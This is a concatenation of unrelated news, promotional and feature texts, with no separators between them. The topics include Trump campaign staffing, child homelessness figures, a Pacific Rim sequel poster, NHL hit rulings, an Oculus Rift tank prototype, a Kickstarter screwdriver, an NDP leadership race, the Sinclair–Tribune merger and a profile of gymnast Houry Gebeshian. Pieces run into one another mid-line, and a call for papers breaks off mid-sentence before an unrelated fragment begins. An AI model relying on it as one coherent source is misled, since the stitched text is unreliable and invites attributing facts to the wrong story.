After she was recruited to run Florida — a state where Trump struggled to find Republican hands because of the influence of Rubio and former Gov. Jeb Bush — Giorno grew close to Trump. After Trump’s Florida win, Giorno was promoted to head the campaign’s operation in the entire Southeast.
On Tuesday, Giorno and Wiles met in Orlando to plot out the campaign’s Florida strategy. Lewandowski and Manafort joined by phone. Trump called in at one point and gave his blessing to the plan, including dumping Wiley.
By that point, Manafort had grown displeased with Wiley as well as everyone else, three sources said. He had hired Wiley only when the campaign was still facing the prospect of a contested primary and national convention. After Ted Cruz and John Kasich dropped out, Wiley was without a portfolio. And then his clashes with Trump officials became too much.
“Rick has RNC tattooed on his forehead. He’s not part of the Trump culture,” a Trump source said. “Wiley was someone who didn’t understand what we were able to do, and he wasn’t interested in being a part of the team in the end anyway.”High poverty, lack of affordable housing and domestic violence are blamed for the rising number of homeless kids in the U.S. The report's author predicts society is going to pay a high price.
Kids take in lessons during a program at Transition House, a homeless shelter in Santa Barbara, Calif. About one fifth of America’s homeless children live in California, a report released Monday, Nov. 17, 2014, by the National Center on Family Homelessness says that one fifth of America’s homeless children are in California. (Photo: Kimberly Kavish/Transition House via AP )
The number of homeless children in the U.S. has surged in recent years to an all-time high, amounting to one child in every 30, according to a state-by-state report that blames America's high poverty rate, the lack of affordable housing and the impacts of pervasive domestic violence.
Titled "America's Youngest Outcasts," the report issued Monday by the National Center on Family Homelessness calculates that nearly 2.5 million American children were homeless at some point in 2013. The number is based on the Department of Education's latest count of 1.3 million homeless children in public schools, supplemented by estimates of homeless pre-school children not counted by the department.
The problem is particularly severe in California, which has one-eighth of the U.S. population but accounts for more than one-fifth of the homeless children with a tally of nearly 527,000.
Carmela DeCandia, director of the national center and a co-author of the report, noted that the federal government has made progress in reducing homelessness among veterans and chronically homeless adults. Last week, U.S. Housing and Urban Development Secretary Julian Castro said the U.S. is on track to end veteran homelessness by the end of next year.
"The same level of attention and resources has not been targeted to help families and children," DeCandia said. "As a society, we're going to pay a high price, in human and economic terms."
Child homelessness increased by 8% nationwide from 2012 to 2013, according to the report, which warned of potentially devastating effects on children's educational, emotional and social development, as well as on their parents' health, employment prospects and parenting abilities.
The report included a composite index ranking the states on the extent of child homelessness, efforts to combat it, and the overall level of child well-being. States with the best scores were Minnesota, Nebraska and Massachusetts. At the bottom were Alabama, Mississippi and California. Michigan ranked 37th.
The new report by the National Center on Family Homelessness — a part of the private, nonprofit American Institutes for Research — says remedies for child homelessness should include an expansion of affordable housing, education and employment opportunities for homeless parents, and specialized services for the many mothers rendered homeless due to domestic violence.
Copyright 2014 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
Read or Share this story: http://on.freep.com/1qPc8iEShare. Time to cancel the apocalypse... again! Time to cancel the apocalypse... again!
The first poster for Pacific Rim: Uprising has been revealed, featuring John Boyega's Jake Pentecost.
Universal Pictures has released the poster ahead of the movie's heavily anticipated panel at next week's New York Comic Con. IGN will be there on October 6 at 12 PM ET to cover any further reveals.
John Boyega is the main focus of the poster, his character Jake Pentecost taking the starring role in the sequel. Jake is the son of Idris Elba's Stacker Pentecost from the first movie.
It seems that just like his father, Jake knows his way around a Jaeger. The towering mech behind him is Gypsy Avenger, an upgraded version of Gypsy Danger, the Jaeger piloted by Charlie Hunnam's Raleigh Beckett in Pacific Rim.
Pacific Rim 2 is being helmed by Daredevil Season 1 alum Steven S. DeKnight and will take place 10 years after the first movie.
The Jaeger program has expanded into a global defense force trapped in a constant battle with the Kaiju. A new generation of heroes must rise to defeat the monstrous threat.
Exit Theatre Mode
The movie also stars newcomers Scott Eastwood, Jing Tian and Cailee Spaeny, with Charlie Day and Burn Gorman reprising their roles as Dr Newt Geiszler and Dr Hermann Gottlieb, respectively.
Boyega recently revealed in an interview with IGN that fans can expect Jaeger Upgrades and a whole new approach to fighting Kaiju in the sequel.
To read our preview of Pacific Rim: Uprising ahead of New York Comic Con, check out our list of the best films coming to NYCC.
Jordan Oloman is a Freelance Writer for IGN, wondering whether the Kaiju will breach Wall Maria this time.Ottawa Senators right wing Daniel Alfredsson missed Sunday's game and Nashville Predators center Mike Fisher is listed as day-to-day after suffering illegal checks to the head Saturday.
Alfredsson was injured on a hit by New York Rangers forward Wojtek Wolski and Fisher was knocked out of a game by a hit by Anaheim Ducks defenseman Francois Beauchemin. Fisher isn't with the team in Chicago and isn't likely to join it Monday.
Both players were penalized on the play, but neither will face a disciplinary hearing with NHL senior vice president Brendan Shanahan.
The league's view was that Beauchemin's hit was a full body check with incidental head contact.
The league view on the Wolski hit was that Wolski was bracing for impact when Alfredsson skated into him. There have been other incidents like this season that have also not resulted in suspension.
Shanahan has one case on his docket Monday. Edmonton Oilers defenseman Andy Sutton already missed Sunday's game because of a suspension for a hit on Colorado Avalanche rookie Gabriel Landeskog. Shanahan will render a final verdict on the number of games after the hearing.
Shanahan suspended Chicago Blackhawks forward Daniel Carcillo for two games on Saturday for a hit from behind on Carolina Hurricanes defenseman Joni Pitkanen.Imagine driving your car with the windows blacked out and just a few portals giving you a glimpse of the outside world. Now imagine driving a truck in the same way, or even better, a battle tank. Well, you probably get the picture.
Tanks don't have large windshields for the driver to see out of. And no, having the ability to drive over pretty much anything isn't an excuse for not being able to see where you're going. To fix the problem, the Norwegian Army has hacked together a novel solution using some civilian technology, namely the Oculus Rift VR headset.
By mounting cameras on the outside of the tank, soldiers were able to create a 360-degree VR feed for the driver. Wearing the Rift, the driver gets an unobtrusive view of his surroundings, effectively seeing through the tank's armour.
As reported by TUjobs the system is still a prototype, it already provides numerous advantages over traditional military developed systems. For one, the cost of the demo unit is about $2,000 which is nearly 50 times cheaper than conventional camera systems the military develops.
The Norwegian Armed Forces may have stolen the tech right out of gamers living rooms, but they aren't just stopping there. While gaming we're served up a plethora of information in the form of various heads-up-displays. Using the Rift the tank driver too can have a map, tilt, speed and other important information displayed to him right in his field of vision.
However, the one biggest flaw holding back the Oculus Rift VR from becoming standard equipment in tanks is eye strain. It's far too great to be used all the time, but can still become an important bit of kit in the gravest of situations where the tank's hatch must be shut.
It's rare for civilian technology to be given such a prominent use on the battlefield, but it goes to show that what Facebook wants with Oculus isn't just about providing people with an enhanced gaming experience. Just as Mark Zuckerberg pointed out after buying Oculus, gaming is only the beginning for Virtual Reality.
TAGS: Oculus VR, virtual reality, battle tank, Norwegian Armed Forces, Facebook______________________________________________________________________
If you missed out on joining this project and would like to get your hands on a Bit Bar™, they will be available for pre-order on our websites and will ship out shortly after all the Kickstarter rewards.
USA Orders - bigidesign.com
INTL Orders - bigidesign.co
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Hi Kickstarters,
Welcome to our new project, let's jump right in!
Screwdrivers that utilize interchangeable hex bits are incredibly useful but let's be real, actually carrying a screwdriver with a full-length grip in our pockets as an EDC (everyday carry) item is a big deal breaker.
So over the past 10 months, we completely redesigned one that would comfortably fit in our pocket and go virtually unnoticed until it's needed. Allowing us to do more and carry less.
The Ultimate EDC Pocket Screwdriver
Introducing The Bit Bar™ (US & INTL Patents Pending)
Comfortable EDC (Everyday Carry)
Full Grip Design
The Bit Bar™ features a full-sized handle and the ability to conveniently store, access, and customize the bits to meet virtually any situation. The titanium versions are CNC milled from a solid block of aerospace grade 5 titanium. It's a very time-consuming and expensive process but we wanted to make something exceptional that could be passed down for many generations to come.
The magnet push bar securely stores 8 standard sized hex bits inside.
Full-Sized Handled Screwdrivers Comparison
Make it your own, standard bits welcome.
No odd, half-sized, or proprietary bits here. We understand that everyone has different needs when it comes to daily tasks. So, being able to store and use 8 standard 1/4" hex bits that you already own allows you to quickly customize the bit bar to your needs.
Sophisticated functionality disguised in a minimal design.
8 Black Oxide Bits Included
Perfect Size For EDC
To us, the most useful tool is always the one that you have with you. That's why the Bit Bars profile matches that of a EDC pocket knife. It's both comfortable to carry and easy to access without getting in the way.
Low pocket profile
Pocket knife size comparisons
Pocket knife thickness comparisons
Bit Bar Demo
TSA Compliant
We've made multiple flights with the Bit Bar and can happily say that it fully complies with TSA hand tool carry-on regulations.
TSA Compliant
Materials / Colors
GRADE 5 TITANIUM ALLOY
The titanium versions come in 2 color options.
1. Ceramic media tumbled raw
This is the natural, un-coated titanium finish that is tumbled with ceramic media to give it a "stonewashed" look and matte finish feel.
2. Battle-worn DLC black
The durable DLC (Diamond Like Carbon) black coating is first applied then tumbled with ceramic media to give them the character, random scuffs, worn edges, and small surface scratches to match the look of a time-tested and active tool.
2 Titanium Options & 1 Fiberglass Reinforced Option
FIBERGLASS REINFORCED NYLON
This industrial strength material (PA66-GF50) is commonly used to house power tools due to it's great balance of being strong and lightweight.
The fiberglass reinforced nylon version is injection molded and comes in a stealthy matte black.
1. Matte Black (only color option)
Top: Battle Worn Black - Middle: Tumbled Raw - Bottom: Nylon Matte Black
Top: Nylon Matte Black - Lower Left: Battle Worn Black - Lower Right: Tumbled Raw
Rewards
We always strive to keep things simple, so we are offering the bit bars in either a "standard" or "deluxe" configuration.
The photos below each reward tier show you what is included. __________________________________________________________________
"Standard" Fiberglass Reinforced Nylon Bit Bar
Includes:
(1) Bit Bar
(1) leather case
(1) 60mm extension
(8) black oxide 1/4" hex bits
+ Free worldwide shipping!
Fiberglass Reinforced Nylon Bit Bar "STANDARD" Rewards
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"Deluxe" Fiberglass Reinforced Nylon Bit Bar
Includes:
(1) Bit Bar
(1) Three-position ratchet
(2) leather cases
(1) 60mm extension
(8) black oxide 1/4" hex bits
+ Free worldwide shipping!
"Deluxe" Fiberglass Reinforced Bit Bar Rewards
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"Standard" Titanium Bit Bar
Includes:
(1) Grade 5 Titanium Bit Bar
(1) leather case
(1) 60mm extension
(8) black oxide 1/4" hex bits
+ Free worldwide shipping!
"STANDARD" Tumbled Raw Titanium Reward
"STANDARD" Battle-Worn Black Titanium Rewards
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"Deluxe" Titanium Bit Bar
Includes:
(1) Grade 5 Titanium Bit Bar
(1) Three-position ratchet
(2) leather cases
(1) 60mm extension
(8) black oxide 1/4" hex bits
+ Free worldwide shipping!
"Deluxe" Tumbled Raw Titanium Bit Bar Rewards
"Deluxe" Battle-Worn DLC Black Titanium Bit Bar Rewards
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Specs
Features, Dimensions, & Specs
Free World Wide Shipping / Optional Paid Express Shipping
All rewards will ship out at the same time and everything comes with worldwide free shipping. This method utilizes the local postal systems around the world and usually take around 10-20 days to be delivered depending on how efficiently the various postal systems are running.
If you want to get your reward faster through an express company (usually within 5 days after we ship out the rewards) you can simply add $25 to your total pledge and we can get it to you ASAP once they are ready to ship out. More info can be found in the FAQ section.
Production Timeline
•Feb - April (funding period on Kickstarter)
•Mid April - June (production)
•July - August (quality control, assembly, fulfillment & shipping*)
*As always, if we finish early the rewards will ship out sooner.
Why Kickstarter?
Our company (Big Idea Design LLC) started back in 2011 after our very first kickstarter project. So, to us it feels like home. We don't have (or want) any investors so we bring our new products to the kickstarter community. We simply love being an active part of this community and making unique products with our backers that are built to last.
All brands, logos, and trademarks displayed on this project are used for demonstration purposes only and are sole property of each respected company and owner. No endorsement or ownership implied.Upcoming issue of Paradoxa: “Global Weirding”
Editors: Andy Hageman (hagean03@luther.edu) and Gerry Canavan (gerry.canavan@marquette.edu)
The editors of this special issue of Paradoxa on “Global Weirding” invite contributions that explore the aesthetic, political, ethical, and existential potentials that arise when weird ecological patterns or events converge with weird speculative literature. Jeff Vandermeer’s acclaimed 2014 Southern Reach Trilogy (Annihilation, Authority, Acceptance) cracked open the space for thinking the weird and the ecological together—for experimenting with radical new ways of representing massive and mind-bending things like global warming, geological time, the Anthropocene, the life and afterlife of infrastructures, and so on. This issue invites further analyses of this eco-literary link we’re calling “Global Weirding”—mirroring the term proposed by some climate scientists to register that global warming does not simply mean higher temperatures but a global planetary ecology transformed in radical and sometimes highly unexpected ways.
Essays might range through the strange catalog of weird fiction to illuminate those elements that offer alternative perspectives on and/or representations of ecological ethics, thought, aesthetics. China Mieville’s Bas-Lag, for example, offers a trove of beautiful-awful engagements with environmental catastrophes and interspecies struggles to exist and coexist. Or, amidst this H.P. Lovecraft resurgence, through new criticism and literary grapplings with his racism, it is time to return to the mountains of madness to see what Cthulhu and Lovecraft’s geology and geologists in those stories can offer to the still-forming concept of the Anthropocene. The editors are eager |
the coldest day of the winter so far. So bitter, in fact, that you could see the snow on London's surrounding hills from the 87-metre-high platform.
The helicopter, and special rapid-response car which assumes the burden during hours of darkness, attends an average of around five emergencies a day. The team are called for trauma incidents, including stabbings, shootings, road-traffic accidents and falls from height. An onboard doctor and paramedic are trained to perform life-saving operations, even open-heart surgery, at the roadside. When the patient is returned to Whitechapel, a new high-speed lift will whisk them down to the emergency unit at the base of the Royal London's new building — from pad to surgery in just two minutes.
London Air Ambulance is operated as a charity, and relies heavily on public donation. If you'd like to help this very worthy cause, follow the instructions here.
We'll be hearing more from the London Air Ambulance in a forthcoming episode of our podcast, Londonist Out Loud. Pictures and video from our previous visit, to the old pad, can be found here.PARLIAMENT HILL—It’s been three months and no one has yet entered the race to become the next federal NDP leader, but prospective candidates are sizing up support and potential competitors with one or two expected to announce before year’s end.
Five names of likely candidates are currently floating around, including NDP MPs Niki Ashton (Churchill-Keewatinook-Aski, Man.), Charlie Angus (Timmins-James Bay, Ont.), Guy Caron (Rimouski-Neigette-Témiscouata-Les Basuqes, Que.), and Peter Julian (New Westminster-Burnaby, B.C.), as well as Ontario NDP deputy leader Jagmeet Singh, the MPP for Bramalea-Gore-Malton, Ont.
Mr. Angus is currently NDP caucus chair, while Mr. Julian is NDP House leader, and the other MPs hold various critic roles.
Some likely candidates have already ruled out runs at the leadership, including NDP MPs Nathan Cullen (Skeena-Bulkley Valley, B.C.) and Alexandre Boulerice (Rosemont-La Petite-Patrie, Que.), both citing family reasons and the demands of a leadership campaign. Former MP Megan Leslie has similarly indicated she doesn’t have an interest this time around when repeatedly asked, including recently on Twitter on Oct. 8.
With a year to go until a vote, sources say there’s puzzlement among some but little concern overall on the lack of any candidates, with MPs now focused on work in the House of Commons after getting a chance to vent at the caucus retreat in Montreal last month.
“I wouldn’t be surprised if you see the first candidate at least step forward by the end of the month. There’s a kind of debate of: Do you want to be the first one in or do you want to wait until the field shapes up until you jump in?” said Robin MacLachlan, vice-president of Summa Strategies and a former NDP staffer.
There are advantages and disadvantages to being first out of the gate, he said. On the one hand, “you get the opportunity to brand your candidacy in the eyes of members” and “frame what the race is about.” But on the other hand, it makes you a target for scrutiny and officially subject to the rules that come with a leadership race.
“With 12 months out from a race, there’s plenty of time for candidates to announce and to build their organizations,” said Mr. MacLachlan. “Any potential candidates are viewing that amount of time as a very long race.”
He said he expects the field will “shape up considerably by the end of this year and the beginning of next.” Already some potential candidates “are talking about this quite a bit,” he said.
“I think, rather than anxiety, what you’re seeing is people starting to mobilize and trying to encourage people to run,” said Mr. MacLachlan.
Declaring before the end of the year would also have some fundraising advantages, said Mr. MacLachlan, as a candidate could tap into supporters under two different donation caps, one for 2016 and the one for 2017.
The rules for leadership fundraising were amended in 2014, changing it from a cap for the entire duration of the race to now being a cap based on calendar year, with individuals able to donate a total of $1,525 to campaigns in 2016 and $1,550 in 2017—outside of the similar fundraising caps placed on annual donations to political parties.
The NDP leadership race officially kicked off at the beginning of July after party members voted in favour of holding a leadership race in a review vote at a convention in Edmonton last April. While many at convention had anticipated a close vote, the decision to hold a race surprised many, given the NDP’s history of not turfing leaders after one bad election result. But expectations have changed following the 2011 result, under the leadership of the late Jack Layton, that brought the NDP to the status of official opposition for the first time. As well, polls before that last election showed NDP Leader Tom Mulcair (Outremont, Que.) poised to become prime minister.
Interested candidates have until July 3 next year to register for the leadership race, which is being run under new rules that will see party members vote by a series of ballots starting Sept. 18 next year and a new leader to be announced no later than Oct. 29.
There’s a $1.5-million spending limit per candidate for the race, not including the $30,000 non-refundable registration fee, the cost of fundraising and travel, and any child care for the candidate or campaign team, among other exemptions.
An NDP insider told The Hill Times that “certainly for the membership it is puzzling” that no one has yet entered the race. This person said members “wanted that leadership race and they want to have debates and they want to see what the next steps are for the party and who’s best to bring it forward,” and “it’s a bit of a problem to live in that vacuum, especially when you look at the Conservative Party and the numerous candidates they have.”
“I’m expecting people to announce and membership are expecting people to announce soon. The fiscal year is closing, so in terms of taping into the donor base and the support base, there’s only two months and a half left for 2016,” said the insider, adding right now there’s “a bit of a cat-and-mouse game going on with the leadership candidates … a bit of wait-and-see approach.”
While the job of leader is never easy, and there’s no guarantee of becoming the next prime minister, it’s no “poisoned chalice,” as recently described by some in media, and it’s a question of fighting for values, said the insider. The “big challenge” for the NDP will come once the Conservative Party has chosen its new leader, then “it’s going to be two permanent leaders and a party still looking for one.”
Speaking with The Hill Times last week, Mr. Cullen said after being taken “somewhat by surprise” by the decision of the NDP membership at the convention last spring, he seriously considered running but ultimately decided against it given his young family and the necessary commitment that comes with being leader.
“I didn’t think that I could give my full self to it and so that right away made it me trying to convince myself rather than this feeling like the right thing at the right time,” he said.
Mr. Cullen said he thinks no one has yet announced because “the party chose such a long race.” Speaking from the experience having run for the leadership in 2012 (a roughly six-month race) he said, “it’s just a very, very long time to sustain the energy, the fundraising, the momentum” that’s needed, and he also “would have probably not declared by now either.”
That said, Mr. Cullen said the party “had its reasons” for choosing the race it did, with a B.C. provincial election in May being one factor. Through his work with the House Electoral Reform Committee in recent months, he’s also learned that “more time is better” for underrepresented groups, like women, in politics, as “typically men have an advantage in getting a candidacy of any kind, local nomination or leadership, put together in a short amount of time.”
“I don’t know if that was the party’s intention, but it is a secondary benefit,” he said. “Even though we have sometimes uncomfortable stories like, ”Where are all the candidates?’ They’re coming.”
Despite the NDP’s disappointing result in the last election, the federal caucus is still “a good sized group” historically, and the “myth was broken in the last election” that Canadians would “never consider the NDP for government,” said Mr. Cullen.
“You get over it, right. Sometimes you win, sometimes you lose. … You can only stay there so long, so we’re moving on,” said Mr. Cullen. “The phone calls are happening in increasing frequency as people start to make their intentions known.”
He said he expects “one or two” candidates to declare before Christmas “to try to get some early momentum,” but he thinks “the lion’s share” will declare in early 2017. Mr. Cullen said while for those observing the race from the outside “it may look strange” no one has yet declared, he’s “convinced” that once a new leader is chosen next fall, “these early days will be entirely forgotten.”
After topping some polls heading into the 2015 federal election, the NDP has slipped back to third place, sitting at 11 per cent in an average of September 2016 polls by Éric Grenier posted to ThreeHundredEight.com, with the Liberals at 49.8 and Conservatives at 29.5.
But a source close to the NDP said, “New Democrats are pretty hardened to poll numbers. … The occasions when they’ve been good to New Democrats you can name on the fingers of one hand.”
Meanwhile, the previous NDP insider said the polls mean little until all three parties have leaders in place that will take them into the next election.
Mr. Cullen said he thinks the popularity of the Liberals under Prime Minister Justin Trudeau (Papineau, Que.) is based on both “celebrity” and the “progressive policies” that were put forward last election, but “many of the policies Canadians voted for were our policies.” With some “big ticket items” coming to head, on First Nations issues, climate change, and pipelines for example, he said, “it’s proving a challenge for [Mr. Trudeau] to keep those promises.”
“A great advantage for the NDP is to confidently and with credibility present ourselves as the party to actually fulfill some of the things people voted or in the last election,” said Mr. Cullen, adding there’s lots of “growth potential.”
“We’ve been through a bit … but there’s a real focus and determination. We all have an enormous amount of work to do.”
The source close to the NDP said many were expecting Mr. Mulcair to make plans to step down as leader by the end of the year, as it’s “tricky” holding a leadership contest with“implicit or explicit” criticisms of the outgoing guard while they’re still in place. This person said a lack of timeline for Mr. Mulcair’s exit is part of the reason for the delay in candidates. There’s also something of a wait-and-see approach among interested NDP candidates, said the source, with some “wavering” after watching presumed Conservative leadership heavyweights like Peter MacKay and Tony Clement bow out of that race. The race may not “really begin until some time late next spring,” said the source.
During the fall caucus retreat, there were “huge rumblings” with “more than a dozen caucus members who spoke out strongly in that discussion about trying to find a way forward that didn’t involve either Tom having to leave immediately or staying until next summer, and he just turned them down.” But that’s been put to bed for now, with MPs focused on work in the House of Commons, said the source.
Meanwhile, there’s something of a “Jack Layton search” underway by “a number of New Democrats,” who are looking outside to caucus to the municipal and provincial levels, and even the NGO and labour communities, to try to find prospective leadership candidates. Back in 2003, Mr. Layton jumped from municipal politics to become federal party leader.
“I expect that process will probably heat up the longer the absence of any obvious frontrunner from the usual suspects,” said the source.
lryckewaert@hilltimes.com
The Hill TimesWhat's new in this version
1.1.52 version: • A LOT of fixes! 1.1.51 version: • Breaking news! We are still alive! This is a maintenance release to log and identify the mighty bug some of you reported since the previous release! 1.1.50 version: • Apparently some users (aka the great @TheGoku003) seems to have issues on device with screen size > 5". Obviously (dafaq?) we were unable to repro the problem, so we added some logs. Because we truly care that @TheGoku003 can eventually use the app as it should! • When trying to display text with unicode characters... Well, we were doing it wrong. We corrected that as it should have been from the very beginning! Version 1.1.49: • Bug fixes on search and list's members Versione 1.1.47: • Added Timeline support • Added Live Tile support • Added Adaptive Toast support • Added Cortana support • Added Lists support • Added Push Notifications support • Added Instagram pics supportYes, that’s right BUY 1 GET 1 FREE! Only at AMC Theatres, and the trick is that you have to physically buy at the box office, not online. Check more details here. Trailer and Interstellar/IMAX featurettes below.
THE ONE-DAY-ONLY “AN ENCORE OF INTERSTELLAR: THE IMAX EXPERIENCE®” WILL PLAY IN AMC THEATRES® ON SATURDAY, FEBRUARY 21st, 2015
Paramount Pictures, IMAX® Corporation and AMC Theatres are giving fans one last opportunity to see Christopher Nolan’s Academy Award®-nominated film “INTERSTELLAR.” The critically acclaimed film will play in the IMAX® format in select AMC Theatres in the U.S. on Saturday, February 21st, 2015.
The one-day-only “An Encore of Interstellar: The IMAX Experience®” showings will take place at 3:00 p.m. local times at participating AMC Theatres and will feature more than 12 minutes of never-before-seen exclusive behind-the-scenes content.
Moviegoers who purchase a ticket at a participating AMC Theatres box office to see “An Encore of Interstellar: The IMAX Experience®” can receive an additional ticket free. This special offer is only available at participating AMC Theatres box offices; online purchases are not eligible.
Tickets are on sale now. For a list of participating theaters, please visit AMC Theaters here.
“INTERSTELLAR” is nominated for five Academy Awards®: Best Visual Effects, Best Original Score, Best Production Design, Best Sound Mixing and Best Sound Editing.
The film stars Matthew McConaughey, Anne Hathaway, Jessica Chastain, Bill Irwin, Ellen Burstyn, John Lithgow and Michael Caine. With our time on Earth coming to an end, a team of explorers undertakes the most important mission in human history; traveling beyond this galaxy to discover whether mankind has a future among the stars.
“INTERSTELLAR” is directed by Christopher Nolan, written by Jonathan Nolan and Christopher Nolan, and produced by Emma Thomas, Christopher Nolan and Lynda Obst.Tribune Media’s shareholders on Thursday approved a takeover by Sinclair Broadcast Group, moving the conservative telecommunications company one step closer to a massive media consolidation deal that will likely go through under the Republican-led Federal Communications Commission.
Sinclair, which owns more than 170 local television channels across the country, in May proposed to buy Tribune for $3.9 billion in a deal that would give it control over some of the biggest local television markets in the nation, including in New York and Chicago.
“Today’s vote is an important milestone in the merger process and confirms that Tribune stockholders strongly support this transaction and the value it delivers,” Tribune Media CEO Peter Kern said in a statement. “We look forward to continuing our work with Sinclair toward the closing of this deal.”
While regulatory and antitrust officials still need to approve the deal, it is far more likely to get the go-ahead under the Trump administration’s Federal Communications Commission. FCC chairman Ajit Pai, a Republican Trump appointee, voted in April to change the way the commission counts the audiences of stations, making it easier for big broadcasting companies to grow even larger.
Corporations were previously limited in how many media outlets they could own in certain markets. Additionally, companies are only allowed to serve 39% of the national TV viewership. But the new policy, which reversed a 2016 FCC ruling, only counts of some stations’ audience, making it easier for big corporations to buy more stations before maxing out. The FCC also suggested it might consider raising the 39% limit, allowing for even more expansion.
Former FCC chairman Tom Wheeler warned of the impending deal in a recent interview.
“The Trump FCC has, in one very short period, moved to change three basic rules that have been in place to protect the diversity of voices and avoid monopolization of the broadcast television market,” Wheeler said on PBS NewsHour. “We have a society in which the flow of information is crucial to a democracy. And when that free flow of information gets choked off by corporate consolidation, we ought to all worry.”
Sinclair’s bid to buy Tribune has already come under a great deal of scrutiny, not least because the Baltimore-based broadcaster requires its stations to run a certain amount of conservative-leaning news programming each day. That practice, as well as the company’s decision to hire Donald Trump’s former campaign adviser Boris Epshteyn, has attracted a considerable amount of media attention.
Conservatives and liberals alike have closely watched the takeover bid because of the consolidation of power that would occur under the deal. If the merger is approved, Sinclair would become the largest single owner of local television stations around the country, reaching nearly 70% of U.S. households. Various conservative-leaning media sites and networks, like Newsmax, the Blaze and One America News Network, have voiced opposition to the deal. Fox News’ parent company, 21st Century Fox, made an unsuccessful bid for Tribune.Houry Gebeshian appears to be living in a Hollywood screenplay. Her life resembles a gymnastics version of the 1993 cult football classic “Rudy,” complete with training montages, unlikely mentors, against-the-odds triumph, and lasting glory.
This month, Gebeshian became the first female gymnast to represent Armenia at the Olympic Games, had the best meet of her life and ensured that the uneven bars mount she invented will bear her name for the rest of gymnastics eternity.
She did all of this at the elderly-by-elite-gymnastics-standards age of 27. After coming out of retirement to take a shot at the Rio Games. While working full time as a physician assistant at the Cleveland Clinic.
The training montages basically make themselves. And they come with a sweeping backstory and a compelling emotional arc: a family on the run from violence, immigrant parents working hard for their kids to have better lives, a young woman determined to change the patriarchal culture of the nation she fought to represent. Oh, and there’s a love story, featuring a supportive boyfriend who believes in her dream and also happens to know how to treat her injuries.
Someone option this thing already.
#TBT to a couple months ago when my mom came to #Brazil to watch me qualify for the #Olympics! Thanks mom for your support throughout all these years. Love you! A photo posted by Houry Gebeshian 🇦🇲 (@hourygebeshian) on Jul 7, 2016 at 5:42pm PDT
Gebeshian’s grandparents fled the Armenian genocide in 1915, moving to Lebanon to escape the violence. A generation later, her parents fled the Lebanese civil war, moving to the U.S. to escape that violence. A generation after that, Houry, born and raised in Massachusetts, would apply for Armenian citizenship so that she could compete for the small Eurasian nation.
Gebeshian started gymnastics at 5 years old, working her way up through the competition levels. By the time she was a high school sophomore, she was competing at the Level 10 national championships, and soon, college coaches came calling.
She went to the University of Iowa, and it was during her sometimes-rocky, occasionally disappointing college career, she told Flo Gymnastics, that she realized “I’m actually a pretty good competitor, and I can compete with the best on the stage.” She won the gold medal on beam at the NCAA national championships in her junior year and represented the Hawkeyes in the all-around at nationals in her senior year.
In 2010, as she was getting ready to graduate with a degree in athletic training, she started thinking about the 2012 Games. The U.S. talent pool was exceptionally deep, and her chances of making that team were slim, but Armenia has no elite women’s gymnastics program to speak of.
Countries with small gymnastics programs, or with weak programs that do not field whole teams or place highly if they do, can be eligible to send a single gymnast to the games, as nations like India, Australia and New Zealand did in Rio. Gebeshian secured Armenian citizenship, and began training with an eye to competing in London under the Armenian flag.
She went to the World Championships that year, the first step to qualifying for the games. “I was a little bit starstruck because I was thinking, ‘Wow, I am competing in the same arena with the best gymnasts in the world,’” she told Flo Gymnastics. And it showed in her performance: she finished just one spot shy of qualifying for the Olympic test event. Gebeshian was given an alternate spot, and left in the uncomfortable position of quasi-hoping that a fellow gymnast would get sick or injured and have to drop out. No one did. She was crushed: “I felt like my life was over.”
She decided to quit. “I left the sport, I decided, I’m not going to do this anymore,” she told The Huffington Post, speaking from Rio the day after the closing ceremonies. “Life’s not fair.” And so she began her life without gymnastics, her life as a normal person.
She enrolled in a master’s program in medical science at Wake Forest University in North Carolina, and this is where the sports movie finds its romantic subplot. While on a practical rotation in Cleveland, Gebeshian met a podiatric surgeon and they fell in love.
Enjoying an evening out with my handsome fiancé at the Diocesan Assembly banquet #ClevelandArmenians #helooksgoodinasuit A photo posted by Houry Gebeshian 🇦🇲 (@hourygebeshian) on Apr 29, 2016 at 6:28pm PDT
As she tells it, it was her now-fiance, Duane Ehredt Jr., who urged her to go back into the gym. “He was like, you know what, I think it’s possible you should try and compete again at the elite level, like, why not? Nothing’s stopping you,” she said. She was skeptical: “I was like, please, I’m overweight, I haven’t done gymnastics in three years, there’s no way.”
But he was persistent, insisting that the logistical challenges ― the cost of training, the need for her to continue building her medical career ― could be overcome. “The more and more we talked he was like, ‘Come to Cleveland, you can find a gym here, you can find a job here, I’ll be here, we can make it work,’” Gebeshian said. “So he kind of convinced me to start back up again.”
Which is exactly what she did. She moved to Cleveland and found a job at the Cleveland Clinic, and, with the goal of making it to the 2015 World Championships and qualifying for the Rio Games, she found a gym where she could train, Gymnastics World. So far, so good. Still, by this time, she was 25 years old, over the hill by gymnastics standards. (The average age for women gymnasts in Rio was 20). She was out of shape. And she was working full time in a surgery theater. And the owners of the gym would let her use their equipment, but they didn’t have an elite program, which a gymnast typically needs to compete at the Olympic level. So, knowing an elite program was out of financial reach and believing that Gymnastics World could meet her needs, she decided to coach herself.
“At first I thought, ‘Oh, my God, what am I doing?’” Gebeshian said. “I started from zero, literally.” In the beginning, she was too rusty to even do gymnastics. “I couldn’t do anything,” she said. “I had to get back into shape. I took the first three or four months and just did strength and conditioning and cardio, just to slim back down.” The owners of her gym were supportive ― when the former NCAA gymnast walked in and told them she wanted to go to the Olympics for a nation that had no gymnastics team, she said, “They were like, ‘OK, go for it.’”
Still, she was on her own: “I didn’t have a coach. I was training myself.” And, she was funding herself, working full time to afford training and, eventually, travel and meet registration fees.
During this time, Gebeshian was working from 7 a.m. to 3 p.m. every day, learning everything she’d need to know in the operating room. (Now, she works in labor and delivery, and crams all her shifts into two days, working a 24-hour shift and a 16-hour shift.) She’d work a full day at the hospital, and then she’d go to the gym for four or five hours.
Were there moments when she thought she might be delusional to be doing what she was doing? “Absolutely,” Gebeshian said. “I would come home some days and be crying to Duane, ‘Why am I doing this?’”
The people around her might have thought she was kidding herself, too. “The first couple of months,” she said, “everyone was probably looking at me like, ‘Who is this girl? What is she thinking that she’s going to be an Olympian and she can’t even do a cast to handstand on the bars?’”
Ehredt was a motivational force, and his professional skills came in handy as well. Gebeshian had a lingering foot injury that was causing her pain just as she began attempting her comeback, in 2014, “and so he took care of me, and he resolved the issue. It was good to have him right there.”
#Plyometrics cycle 2 #Rio2016 #HootingForHoury #PlyometricsTraining #Gymnastics A video posted by Houry Gebeshian 🇦🇲 (@hourygebeshian) on May 26, 2016 at 2:55pm PDT
